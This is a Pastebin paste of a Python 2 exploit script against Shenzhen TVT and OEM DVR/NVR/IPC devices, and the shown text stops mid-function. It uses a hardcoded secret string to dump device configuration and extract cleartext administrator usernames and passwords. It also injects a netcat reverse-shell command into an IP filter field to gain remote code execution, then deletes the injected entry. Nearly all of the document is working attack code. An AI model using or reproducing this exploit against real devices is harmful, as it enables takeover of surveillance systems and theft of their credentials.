Guest User

Untitled

a guest
Sep 19th, 2019
384
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.68 KB | None | 0 0
  1. #!/usr/bin/env python2.7
  2. # [SOF]
  3. #
  4. # Subject: Shenzhen TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE
  5. #
  6. # Attack vector: Remote
  7. # Authentication: Anonymous (no credentials needed)
  8. # Researcher: bashis <mcw noemail eu> (December 2018)
  9. #
  10. # Vulnerable: To many OEM vendors,products and versions to specify.
  11. # Non Vulnerable: Firmware released from mid February 2018 from TVT and their OEM's
  12. #
  13. # Source Vendor: Shenzhen TVT Digital Technology Co. Ltd (http://en.tvt.net.cn/)
  14. # OEM Vendors (+80): https://ipvm.com/forums/video-surveillance/topics/a-list-of-tvt-s-79-dvr-oems (Not complete list)
  15. #
  16. #
  17. import socket
  18. import select
  19. import sys
  20. import urllib, urllib2, httplib
  21. import ssl
  22. import argparse
  23. import base64
  24. import os
  25. import sys
  26. import xmltodict # pip install xmltodict
  27. import json
  28.  
  29. from pwn import * # https://github.com/Gallopsled/pwntools
  30.  
  31. class HTTPconnect:
  32.  
  33. def __init__(self, host, proto, verbose, credentials, Raw, noexploit):
  34. self.host = host
  35. self.proto = proto
  36. self.verbose = verbose
  37. self.credentials = credentials
  38. self.Raw = Raw
  39. self.noexploit = noexploit
  40.  
  41. def Send(self, uri, query_headers, query_data, ID):
  42. self.uri = uri
  43. self.query_headers = query_headers
  44. self.query_data = query_data
  45. self.ID = ID
  46.  
  47. # Connect-timeout in seconds
  48. timeout = 10
  49. socket.setdefaulttimeout(timeout)
  50.  
  51. url = '{}://{}{}'.format(self.proto, self.host, self.uri)
  52.  
  53. if self.verbose:
  54. print "[Verbose] Sending:", url
  55.  
  56. if self.proto == 'https':
  57. if hasattr(ssl, '_create_unverified_context'):
  58. print "[i] Creating SSL Unverified Context"
  59. ssl._create_default_https_context = ssl._create_unverified_context
  60.  
  61. if self.credentials:
  62. Basic_Auth = self.credentials.split(':')
  63. if self.verbose:
  64. print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
  65. try:
  66. pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
  67. pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
  68. auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
  69. opener = urllib2.build_opener(auth_handler)
  70. urllib2.install_opener(opener)
  71. except Exception as e:
  72. print "[!] Basic Auth Error:",e
  73. sys.exit(1)
  74.  
  75. if self.noexploit and not self.verbose:
  76. print "[<] 204 Not Sending!"
  77. html = "Not sending any data"
  78. return html
  79. else:
  80. if self.query_data:
  81. req = urllib2.Request(url, self.query_data, headers=self.query_headers)
  82. else:
  83. req = urllib2.Request(url, None, headers=self.query_headers)
  84. try:
  85. rsp = urllib2.urlopen(req)
  86. except Exception as e:
  87. if not hasattr (e,'reason'):
  88. print "[<] Request is most likely being blocked ({})".format(str(e))
  89. else:
  90. print "[<] Payload response failed: {}".format(str(e))
  91. return False
  92.  
  93. if self.Raw:
  94. return rsp
  95. else:
  96. html = rsp.read()
  97. return html
  98.  
  99. #
  100. # Validate correctness of HOST, IP and PORT
  101. #
  102. class Validate:
  103.  
  104. def __init__(self,verbose):
  105. self.verbose = verbose
  106.  
  107. # Check if IP is valid
  108. def CheckIP(self,IP):
  109. self.IP = IP
  110.  
  111. ip = self.IP.split('.')
  112. if len(ip) != 4:
  113. return False
  114. for tmp in ip:
  115. if not tmp.isdigit():
  116. return False
  117. i = int(tmp)
  118. if i < 0 or i > 255:
  119. return False
  120. return True
  121.  
  122. # Check if PORT is valid
  123. def Port(self,PORT):
  124. self.PORT = PORT
  125.  
  126. if int(self.PORT) < 1 or int(self.PORT) > 65535:
  127. return False
  128. else:
  129. return True
  130.  
  131. # Check if HOST is valid
  132. def Host(self,HOST):
  133. self.HOST = HOST
  134.  
  135. try:
  136. # Check valid IP
  137. socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
  138. # Now we check if it is correct typed IP
  139. if self.CheckIP(self.HOST):
  140. return self.HOST
  141. else:
  142. return False
  143. except socket.error as e:
  144. # Else check valid DNS name, and use the IP address
  145. try:
  146. self.HOST = socket.gethostbyname(self.HOST)
  147. return self.HOST
  148. except socket.error as e:
  149. return False
  150.  
  151.  
  152. class TVT:
  153.  
  154. def __init__(self, rhost, rport, proto, verbose, credentials, raw_request, noexploit, headers):
  155. self.rhost = rhost
  156. self.rport = rport
  157. self.proto = proto
  158. self.verbose = verbose
  159. self.credentials = credentials
  160. self.raw_request = raw_request
  161. self.noexploit = noexploit
  162. self.headers = headers
  163.  
  164. self.BUFFER_SIZE = 1024
  165.  
  166. def APIConfigClient(self, lhost, lport, cmd, request):
  167. self.lhost = lhost
  168. self.lport = lport
  169. self.cmd = cmd
  170. self.request = request
  171.  
  172. if self.rport == '4567' and self.cmd != 'doLogin':
  173. self.sock = self.Connect_4567()
  174. response = self.GetSystemConfig(self.sock, self.request)
  175. response = response.split()
  176.  
  177. if self.cmd == 'DumpSystemConfig':
  178. if self.rport == '4567':
  179. TVT_bin = base64.b64decode(response[12]) # Base64 'SystemConfig'
  180. XML_2_JSON = self.GetXML_2_JSON(TVT_bin)
  181. print "[i] Dumping Config"
  182. for what in XML_2_JSON.keys():
  183. print json.dumps(XML_2_JSON[what],indent=4)
  184. else:
  185. if (self.GetDeviceInfo_HTTP(lhost, lport,True)): # Light version of 'SystemConfig'
  186. return True
  187. else:
  188. return False
  189.  
  190. elif self.cmd == 'GetInfo':
  191. if self.rport == '4567':
  192. TVT_bin = base64.b64decode(response[12]) # Base64 'SystemConfig'
  193. XML_2_JSON = self.GetXML_2_JSON(TVT_bin)
  194. self.Extract_Info(XML_2_JSON)
  195. else:
  196. if (self.GetDeviceInfo_HTTP(lhost, lport,False)):
  197. return True
  198. else:
  199. return False
  200.  
  201. elif self.cmd == 'doLogin':
  202. if self.rport == '4567':
  203. print "[!] Login do not work here, no need for it..."
  204. return True
  205. else:
  206. if (self.doLogin_HTTP(lhost, lport)):
  207. return True
  208. else:
  209. return False
  210.  
  211. elif self.cmd == 'queryQRInfo':
  212. if self.rport == '4567':
  213. OUT = ''
  214. for xml in range(15,len(response)):
  215. OUT += response[xml]
  216. XML_2_JSON = xmltodict.parse(OUT)
  217. if XML_2_JSON['response']['status'] == 'success':
  218. QR_img = base64.b64decode(XML_2_JSON['response']['content']['data'])
  219. file = open(rhost + '_QR.png','wb')
  220. file.write(QR_img)
  221. file.close()
  222. print "[i] QR Image saved: {}".format(rhost + '_QR.png')
  223. else:
  224.  
  225. if (self.queryQRInfo_HTTP(self.lhost, self.lport)):
  226. return True
  227. else:
  228. return False
  229.  
  230. elif self.cmd == 'GetUsernamePassword':
  231. if self.rport == '4567':
  232. TVT_bin = base64.b64decode(response[12]) # Base64 'SystemConfig'
  233. XML_2_JSON = self.GetXML_2_JSON(TVT_bin)
  234. username, password = self.GetLoginPassword(TVT_bin, XML_2_JSON)
  235. print "[i] Username: {}, Password: {}".format(username,password)
  236. else:
  237. if (self.queryUserList_HTTP(self.lhost, self.lport)):
  238. return True
  239. else:
  240. return False
  241.  
  242. elif self.cmd == 'RCE':
  243. if self.rport == '4567':
  244. self.RCE_4567(self.lhost, self.lport, self.sock)
  245. else:
  246. if(self.RCE_HTTP(self.lhost, self.lport)):
  247. return True
  248. else:
  249. return False
  250.  
  251. if self.rport == '4567':
  252. self.sock.close()
  253. print "[i] Disconnected"
  254.  
  255. #
  256. # Stuff for HTTP/HTTPS Access
  257. #
  258.  
  259. def queryQRInfo_HTTP(self, lhost, lport):
  260.  
  261. self.lhost = lhost
  262. self.lport = lport
  263. self.remote_host = self.rhost + ':' + self.rport
  264.  
  265. headers = {
  266. 'Connection': 'close',
  267. 'Content-Type' : 'application/x-www-form-urlencoded',
  268. 'Host' : rhost,
  269. 'Authorization' : 'Basic ' + base64.b64encode(self.credentials),
  270. 'Accept' : '*/*',
  271. 'Accept-Language' : 'en-us',
  272. 'Cache-Control' : 'max-age=0',
  273. 'User-Agent':'ApiTool'
  274. }
  275.  
  276. URI = '/queryQRInfo?userName=' + self.credentials.split(":")[0]
  277. response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,None,None)
  278. if not response:
  279. return False
  280. file = open(rhost + '_QR.png','wb')
  281. file.write(response)
  282. file.close()
  283. print "[i] QR Image saved: {}".format(rhost + '_QR.png')
  284. return True
  285.  
  286. def doLogin_HTTP(self, lhost, lport):
  287. self.lhost = lhost
  288. self.lport = lport
  289. self.remote_host = self.rhost + ':' + self.rport
  290.  
  291. headers = {
  292. 'Connection': 'close',
  293. 'Content-Type' : 'application/x-www-form-urlencoded',
  294. 'Host' : rhost,
  295. 'Authorization' : 'Basic ' + base64.b64encode(self.credentials),
  296. 'Accept' : '*/*',
  297. 'Accept-Language' : 'en-us',
  298. 'Cache-Control' : 'max-age=0',
  299. 'User-Agent':'ApiTool'
  300. }
  301.  
  302. MSG = '<?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>'
  303.  
  304. URI = '/doLogin'
  305. print "[>] Query for username(s)/password(s)"
  306. response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,MSG,None)
  307. if not response:
  308. return False
  309. self.XML_2_JSON = xmltodict.parse(response)
  310. if self.XML_2_JSON['response']['status'] == 'success':
  311. print "[<] 200 OK"
  312. # print json.dumps(self.XML_2_JSON['response'],indent=4)
  313. for who in self.XML_2_JSON['response']['content']:
  314. if who == 'userId':
  315. print "[<] User ID: {}".format(self.XML_2_JSON['response']['content']['userId'])
  316. elif who == 'adminName':
  317. print "[<] Admin Name: {}".format(self.XML_2_JSON['response']['content']['adminName'])
  318. elif who == 'sessionId':
  319. print "[<] Session ID: {}".format(self.XML_2_JSON['response']['content']['sessionId'])
  320. elif who == 'resetPassword':
  321. print "[<] Reset Password: {}".format(base64.b64decode(self.XML_2_JSON['response']['content']['resetPassword']))
  322. return True
  323. else:
  324. if self.XML_2_JSON['response']['errorCode'] == '536870948':
  325. print "[<] Wrong Password!"
  326. elif self.XML_2_JSON['response']['errorCode'] == '536870947':
  327. print "[<] Wrong Username!"
  328. else:
  329. print json.dumps(self.XML_2_JSON['response'],indent=4)
  330. return False
  331.  
  332. def queryUserList_HTTP(self, lhost, lport):
  333. self.lhost = lhost
  334. self.lport = lport
  335. self.remote_host = self.rhost + ':' + self.rport
  336.  
  337. headers = {
  338. 'Connection': 'close',
  339. 'Content-Type' : 'application/x-www-form-urlencoded',
  340. 'Host' : rhost,
  341. 'Authorization' : 'Basic ' + base64.b64encode(self.credentials),
  342. 'Accept' : '*/*',
  343. 'Accept-Language' : 'en-us',
  344. 'Cache-Control' : 'max-age=0',
  345. 'User-Agent':'ApiTool'
  346. }
  347.  
  348. MSG = '<?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>'
  349.  
  350. URI = '/queryUserList'
  351. print "[>] Query for username(s)/password(s)"
  352. response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,MSG,None)
  353. if not response:
  354. return False
  355. self.XML_2_JSON = xmltodict.parse(response)
  356. if self.XML_2_JSON['response']['status'] == 'success':
  357. print "[<] 200 OK"
  358. # print json.dumps(self.XML_2_JSON['response'],indent=4)
  359. # One User only
  360. for who in self.XML_2_JSON['response']['content']['item']:
  361. if who == 'userName':
  362. print "[<] Username: {}, Password: {}".format(self.XML_2_JSON['response']['content']['item']['userName'], self.XML_2_JSON['response']['content']['item']['password'])
  363. return True
  364. # Several Users
  365. for who in range(0, len(self.XML_2_JSON['response']['content']['item'])):
  366. if (self.XML_2_JSON['response']['content']['item'][who]['enabled'] == 'true'):
  367. print "[<] Username: {}, Password: {}".format(self.XML_2_JSON['response']['content']['item'][who]['userName'], self.XML_2_JSON['response']['content']['item'][who]['password'])
  368. return True
  369. else:
  370. if self.XML_2_JSON['response']['errorCode'] == '536870948':
  371. print "[<] Wrong Password!"
  372. elif self.XML_2_JSON['response']['errorCode'] == '536870947':
  373. print "[<] Wrong Username!"
  374. else:
  375. print json.dumps(self.XML_2_JSON['response'],indent=4)
  376. return False
  377.  
  378. def GetDeviceInfo_HTTP(self, lhost, lport, dump):
  379. self.lhost = lhost
  380. self.lport = lport
  381. self.dump = dump
  382. self.remote_host = self.rhost + ':' + self.rport
  383.  
  384. headers = {
  385. 'Connection': 'close',
  386. 'Content-Type' : 'application/x-www-form-urlencoded',
  387. 'Host' : rhost,
  388. 'Authorization' : 'Basic ' + base64.b64encode(self.credentials),
  389. 'Accept' : '*/*',
  390. 'Accept-Language' : 'en-us',
  391. 'Cache-Control' : 'max-age=0',
  392. 'User-Agent':'ApiTool'
  393. }
  394.  
  395. MSG = '<?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>'
  396.  
  397. URI = '/queryBasicCfg'
  398. print "[>] Get info about remote target"
  399. response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,MSG,None)
  400. if not response:
  401. return False
  402. self.XML_2_JSON = xmltodict.parse(response)
  403. if self.XML_2_JSON['response']['status'] == 'success':
  404. print "[<] 200 OK"
  405. if self.dump:
  406. print json.dumps(self.XML_2_JSON,indent=4)
  407. return True
  408. else:
  409. if self.XML_2_JSON['response']['errorCode'] == '536870948':
  410. print "[<] Wrong Password!"
  411. elif self.XML_2_JSON['response']['errorCode'] == '536870947':
  412. print "[<] Wrong Username!"
  413. else:
  414. print json.dumps(self.XML_2_JSON['response'],indent=4)
  415. return False
  416.  
  417. for tmp2 in self.XML_2_JSON['response'].keys():
  418. if tmp2 == 'content':
  419. for tmp3 in self.XML_2_JSON['response'][tmp2].keys():
  420. if tmp3 == 'softwareVersion':
  421. print "[i] Firmware Version: {}".format(self.XML_2_JSON['response'][tmp2]['softwareVersion'])
  422. elif tmp3 == 'kenerlVersion':
  423. print "[i] Kernel Version: {}".format(self.XML_2_JSON['response'][tmp2]['kenerlVersion'])
  424. elif tmp3 == 'launchDate':
  425. print "[i] Software Date: {}".format(self.XML_2_JSON['response'][tmp2]['launchDate'])
  426. elif tmp3 == 'hardwareVersion':
  427. print "[i] Hardware Version: {}".format(self.XML_2_JSON['response'][tmp2]['hardwareVersion'])
  428. elif tmp3 == 'customerId':
  429. print "[i] Customer/OEM ID: {}".format(self.XML_2_JSON['response'][tmp2]['customerId'])
  430. elif tmp3 == 'manufacturer':
  431. print "[i] Manufacture/OEM: {}".format(self.XML_2_JSON['response'][tmp2]['manufacturer']['item'][0]['@translateKey'])
  432. elif tmp3 == 'sn':
  433. print "[i] Serial Number: {}".format(self.XML_2_JSON['response'][tmp2]['sn'])
  434. elif tmp3 == 'productModel':
  435. print "[i] Device Model: {}".format(self.XML_2_JSON['response'][tmp2]['productModel'])
  436. elif tmp3 == 'name':
  437. print "[i] Device Name: {}".format(self.XML_2_JSON['response'][tmp2]['name'])
  438. elif tmp3 == 'defaultUser':
  439. print "[i] Default User: {}".format(self.XML_2_JSON['response'][tmp2]['defaultUser']['item']['#text'])
  440. return True
  441.  
  442. def RCE_HTTP(self, lhost, lport):
  443.  
  444. self.lhost = lhost
  445. self.lport = lport
  446. self.remote_host = self.rhost + ':' + self.rport
  447.  
  448. if not (self.GetDeviceInfo_HTTP(lhost, lport,False)):
  449. return False
  450.  
  451. headers = {
  452. 'Connection': 'close',
  453. 'Content-Type' : 'text/xml',
  454. 'Host' : rhost,
  455. 'Authorization' : 'Basic ' + base64.b64encode(self.credentials),
  456. 'Accept' : '*/*',
  457. 'Accept-Language' : 'en-us',
  458. 'Cache-Control' : 'max-age=0',
  459. 'User-Agent':'ApiTool'
  460. }
  461.  
  462. ADD_RCE = """<?xml version="1.0" encoding="utf-8"?>
  463. <request version="1.0" systemType="NVMS-9000" clientType="WEB">
  464. <types>
  465. <filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
  466. <addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType>
  467. </types>
  468. <content>
  469. <switch>true</switch>
  470. <filterType type="filterTypeMode">refuse</filterType>
  471. <filterList type="list"><itemType><addressType type="addressType"/></itemType>
  472. <item><switch>true</switch><addressType>ip</addressType>
  473. <ip>$(nc${IFS}LHOST${IFS}LPORT${IFS}-e${IFS}$SHELL&)</ip>
  474. </item>
  475. </filterList>
  476. </content>
  477. </request>
  478. """
  479. DEL_RCE = """<?xml version="1.0" encoding="utf-8"?>
  480. <request version="1.0" systemType="NVMS-9000" clientType="WEB">
  481. <types>
  482. <filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
  483. <addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType>
  484. </types>
  485. <content><switch>false</switch><filterType type="filterTypeMode">allow</filterType>
  486. <filterList type="list">
  487. <itemType>
  488. <addressType type="addressType"/>
  489. </itemType>
  490. </filterList>
  491. </content>
  492. </request>
  493. """
  494.  
  495. ADD_RCE = ADD_RCE.replace("LHOST",self.lhost).replace("\t",'').replace("\n",'')
  496. ADD_RCE = ADD_RCE.replace("LPORT",self.lport)
  497. DEL_RCE = DEL_RCE.replace("\t",'').replace("\n",'')
  498.  
  499. URI = '/editBlackAndWhiteList'
  500. #
  501. # Enable RCE and execute
  502. #
  503. print "[>] Adding and executing RCE"
  504. response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,ADD_RCE,None)
  505. if not response:
  506. return False
  507. XML_2_JSON = xmltodict.parse(response)
  508. if XML_2_JSON['response']['status'] == 'success':
  509. print "[<] 200 OK"
  510. elif XML_2_JSON['response']['status'] == 'fail':
  511. if self.XML_2_JSON['response']['errorCode'] == '536870948':
  512. print "[<] Wrong Password!"
  513. elif self.XML_2_JSON['response']['errorCode'] == '536870947':
  514. print "[<] Wrong Username!"
  515. else:
  516. print json.dumps(self.XML_2_JSON['response'],indent=4)
  517. return False
  518.  
  519. #
  520. # Delete RCE
  521. #
  522. print "[>] Removing RCE"
  523. response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,DEL_RCE,None)
  524. if not response:
  525. return False
  526. XML_2_JSON = xmltodict.parse(response)
  527. if XML_2_JSON['response']['status'] == 'success':
  528. print "[<] 200 OK"
  529. elif XML_2_JSON['response']['status'] == 'fail':
  530. if self.XML_2_JSON['response']['errorCode'] == '536870948':
  531. print "[<] Wrong Password!"
  532. elif self.XML_2_JSON['response']['errorCode'] == '536870947':
  533. print "[<] Wrong Username!"
  534. else:
  535. print json.dumps(self.XML_2_JSON['response'],indent=4)
  536. return False
  537.  
  538. return True
  539.  
  540. #
  541. # Stuff when bypassing 'ConfigSyncProc'
  542. #
  543.  
  544. def GetLoginPassword(self, TVT, XML_2_JSON):
  545. self.TVT = TVT
  546. self.XML_2_JSON = XML_2_JSON
  547.  
  548. # Username may not always be 'admin'; so get default username to search for
  549. for what in self.XML_2_JSON.keys():
  550. for tmp in self.XML_2_JSON[what].keys():
  551. if tmp == 'response':
  552. for tmp2 in self.XML_2_JSON[what]['response'].keys():
  553. if tmp2 == 'content':
  554. for tmp3 in self.XML_2_JSON[what]['response'][tmp2].keys():
  555. if tmp3 == 'defaultUser':
  556. DEFAULT_USER = str(self.XML_2_JSON[what]['response'][tmp2]['defaultUser']['item']['#text'])
  557.  
  558. where = self.TVT.find(DEFAULT_USER)
  559. LOGIN = self.TVT[where:where+64].replace('\x00','')
  560. PASSWORD = self.TVT[where+64:where+128].replace('\x00','')
  561. return LOGIN, PASSWORD
  562.  
  563. def GetXML_2_JSON(self, TVT):
  564. self.TVT = TVT
  565.  
  566. self.TVT = self.TVT.replace('\x00','')
  567. where = self.TVT.find('<?xml version="1.0" encoding="UTF-8"?>')
  568. DB = {}
  569. TEST = ''
  570. DB_CNT = 0
  571. TEMP = self.TVT[where:].split('\n')
  572. for where in range(0,len(TEMP)):
  573. if TEMP[where] == '<?xml version="1.0" encoding="UTF-8"?>':
  574. DB[DB_CNT] = {'start':0,'stop':0}
  575. DB[DB_CNT]['start'] = where
  576. DB_CNT += 1
  577. else:
  578. DB[DB_CNT-1]['stop'] = where+1
  579.  
  580. XML_2_JSON = {}
  581. for what in DB.keys():
  582. OUT = ''
  583. for where in range (DB[what]['start'], DB[what]['stop']):
  584. OUT += TEMP[where]
  585. XML_2_JSON[what] = xmltodict.parse(OUT)
  586. return XML_2_JSON
  587.  
  588. def Extract_Info(self, XML_2_JSON):
  589. self.XML_2_JSON = XML_2_JSON
  590.  
  591. for what in self.XML_2_JSON.keys():
  592. for tmp in self.XML_2_JSON[what].keys():
  593. # if tmp == 'request':
  594. # for tmp2 in self.XML_2_JSON[what]['request'].keys():
  595. # if tmp2 == 'content':
  596. # for tmp3 in self.XML_2_JSON[what]['request'][tmp2].keys():
  597. # if tmp3 == 'reservedPort':
  598. # print "[i] Reserved Port(s): {}".format(self.XML_2_JSON[what]['request'][tmp2]['reservedPort'])
  599. # elif tmp3 == 'httpPort':
  600. # print "[i] HTTP Port: {}".format(self.XML_2_JSON[what]['request'][tmp2]['httpPort'])
  601. # elif tmp3 == 'nicConfigs':
  602. # print "[i] NIC Configs: {}".format(json.dumps(self.XML_2_JSON[what]['request'][tmp2]['nicConfigs']['item'],indent=4))
  603. # elif tmp == 'response':
  604. if tmp == 'response':
  605. for tmp2 in self.XML_2_JSON[what]['response'].keys():
  606. if tmp2 == 'content':
  607. for tmp3 in self.XML_2_JSON[what]['response'][tmp2].keys():
  608. if tmp3 == 'softwareVersion':
  609. print "[i] Firmware Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['softwareVersion'])
  610. elif tmp3 == 'kenerlVersion':
  611. print "[i] Kernel Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['kenerlVersion'])
  612. elif tmp3 == 'launchDate':
  613. print "[i] Software Date: {}".format(self.XML_2_JSON[what]['response'][tmp2]['launchDate'])
  614. elif tmp3 == 'hardwareVersion':
  615. print "[i] Hardware Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['hardwareVersion'])
  616. elif tmp3 == 'customerId':
  617. print "[i] Customer/OEM ID: {}".format(self.XML_2_JSON[what]['response'][tmp2]['customerId'])
  618. elif tmp3 == 'manufacturer':
  619. print "[i] Manufacture/OEM: {}".format(self.XML_2_JSON[what]['response'][tmp2]['manufacturer']['item'][0]['@translateKey'])
  620. elif tmp3 == 'sn':
  621. print "[i] Serial Number: {}".format(self.XML_2_JSON[what]['response'][tmp2]['sn'])
  622. elif tmp3 == 'productModel':
  623. print "[i] Device Model: {}".format(self.XML_2_JSON[what]['response'][tmp2]['productModel'])
  624. elif tmp3 == 'name':
  625. print "[i] Device Name: {}".format(self.XML_2_JSON[what]['response'][tmp2]['name'])
  626. elif tmp3 == 'defaultUser':
  627. print "[i] Default User: {}".format(self.XML_2_JSON[what]['response'][tmp2]['defaultUser']['item']['#text'])
  628.  
  629. def RCE_4567(self, lhost, lport, sock):
  630. self.lhost = lhost
  631. self.lport = lport
  632. self.sock = sock
  633.  
  634. ADD_MESSAGE = "GET /saveSystemConfig HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length: CONTENT_LENGTH\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 2\r\n\r\n"
  635. ADD_RCE = "\x0c\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x21\x00\x02\x00\x01\x00\x04\x00_LEN_LEN\x00\x00\x00\x00" # 32 bytes
  636. ADD_RCE += """<?xml version="1.0" encoding="utf-8"?>
  637. <request version="1.0" systemType="NVMS-9000" clientType="WEB">
  638. <types>
  639. <filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
  640. <addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType>
  641. </types>
  642. <content>
  643. <switch>true</switch>
  644. <filterType type="filterTypeMode">refuse</filterType>
  645. <filterList type="list"><itemType><addressType type="addressType"/></itemType>
  646. <item><switch>true</switch><addressType>ip</addressType>
  647. <ip>$(nc${IFS}LHOST${IFS}LPORT${IFS}-e${IFS}$SHELL${IFS}&)</ip>
  648. </item>
  649. </filterList>
  650. </content>
  651. </request>
  652. """
  653. ADD_RCE += "\x00"
  654.  
  655. DEL_MESSAGE = "GET /saveSystemConfig HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length: CONTENT_LENGTH\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 3\r\n\r\n"
  656. DEL_RCE = "\x0c\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x21\x00\x02\x00\x01\x00\x04\x00_LEN_LEN\x00\x00\x00\x00" # 32 bytes
  657. DEL_RCE += """<?xml version="1.0" encoding="utf-8"?>
  658. <request version="1.0" systemType="NVMS-9000" clientType="WEB">
  659. <types>
  660. <filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
  661. <addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType>
  662. </types>
  663. <content><switch>false</switch><filterType type="filterTypeMode">allow</filterType>
  664. <filterList type="list">
  665. <itemType>
  666. <addressType type="addressType"/>
  667. </itemType>
  668. </filterList>
  669. </content>
  670. </request>
  671. """
  672. DEL_RCE += "\x00"
  673.  
  674. ADD_RCE = ADD_RCE.replace("LHOST",self.lhost).replace("\t",'').replace("\n",'')
  675. ADD_RCE = ADD_RCE.replace("LPORT",self.lport)
  676. DEL_RCE = DEL_RCE.replace("\t",'').replace("\n",'')
  677.  
  678. #
  679. # Enable RCE and execute
  680. #
  681. LEN = len(ADD_RCE)-32
  682. LEN = struct.pack("<I",LEN)
  683. ADD_RCE = string.replace(ADD_RCE,'_LEN',LEN)
  684.  
  685. ADD_MESSAGE = ADD_MESSAGE.replace("CONTENT_LENGTH",str(len(base64.b64encode(ADD_RCE))))
  686. ADD_MESSAGE += base64.b64encode(ADD_RCE)
  687.  
  688. print "[i] Adding and executing RCE"
  689. response = self.Send_4567(self.sock, ADD_MESSAGE)
  690. tmp = response.split()
  691. if tmp[1] != '200':
  692. print "[!] Error".format(response)
  693. return False
  694.  
  695. #
  696. # Delete RCE
  697. #
  698. LEN = len(DEL_RCE)-32
  699. LEN = struct.pack("<I",LEN)
  700. DEL_RCE = string.replace(DEL_RCE,'_LEN',LEN)
  701.  
  702. DEL_MESSAGE = DEL_MESSAGE.replace("CONTENT_LENGTH",str(len(base64.b64encode(DEL_RCE))))
  703. DEL_MESSAGE += base64.b64encode(DEL_RCE)
  704.  
  705. print "[i] Removing RCE"
  706. response = self.Send_4567(self.sock, DEL_MESSAGE)
  707. if tmp[1] != '200':
  708. print "[!] Error".format(response)
  709. return False
  710.  
  711. def Send_4567(self, sock, message):
  712. self.sock = sock
  713. self.message = message
  714.  
  715. try:
  716. print "[>] Sending"
  717. self.sock.send(self.message)
  718. response = self.sock.recv(self.BUFFER_SIZE)
  719. except Exception as e:
  720. print "[!] Send failed ({})".format(e)
  721. self.sock.close()
  722. sys.exit(1)
  723.  
  724. print "[<] 200 OK"
  725. return response
  726.  
  727. def Connect_4567(self):
  728.  
  729. TVT_rport = 4567 # Default Remote PORT
  730. MESSAGE = "{D79E94C5-70F0-46BD-965B-E17497CCB598}" # Hardcoded 'Secret' string
  731.  
  732. timeout = 5
  733. socket.setdefaulttimeout(timeout)
  734. try:
  735. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  736. self.sock.connect((self.rhost, TVT_rport))
  737. print "[i] Connected"
  738. except Exception as e:
  739. print "[!] Connection failed ({})".format(e)
  740. sys.exit(1)
  741.  
  742. try:
  743. print "[>] Verifying access"
  744. self.sock.send(MESSAGE)
  745. response = self.sock.recv(self.BUFFER_SIZE)
  746. except Exception as e:
  747. print "[!] Sending failed ({})".format(e)
  748. self.sock.close()
  749. sys.exit(1)
  750.  
  751.  
  752. if response != MESSAGE:
  753. print "[!] NO MATCH\n[!] Response: {}".format(response)
  754. self.sock.close()
  755. sys.exit(0)
  756. else:
  757. print "[<] 200 OK"
  758. return self.sock
  759.  
  760. def GetSystemConfig(self, sock, request):
  761. self.sock = sock
  762. self.request = request
  763.  
  764. # Get System Config, including l/p in clear text (base64 encoded)
  765. if self.request == 'requestSystemConfig':
  766. MESSAGE = "GET /requestSystemConfig HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length:0\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 1\r\n\r\n"
  767.  
  768. elif self.request == 'requestSystemCapabilitySetInfo':
  769. MESSAGE = "GET /requestSystemCapabilitySetInfo HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length:0\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 1\r\n\r\n"
  770. # Get QR Code image in format .png (base64 encoded)
  771. elif self.request == 'queryQRInfo':
  772. MESSAGE = "GET /queryQRInfo HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length:0\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 1\r\n\r\n"
  773. # Default for RCE, only to pass thru below checkings
  774. else:
  775. MESSAGE = "GET /queryQRInfo HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length:0\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 1\r\n\r\n"
  776.  
  777. self.sock.send(MESSAGE)
  778. buf = ''
  779. response = self.sock.recv(self.BUFFER_SIZE)
  780. if response.split()[1] == '200':
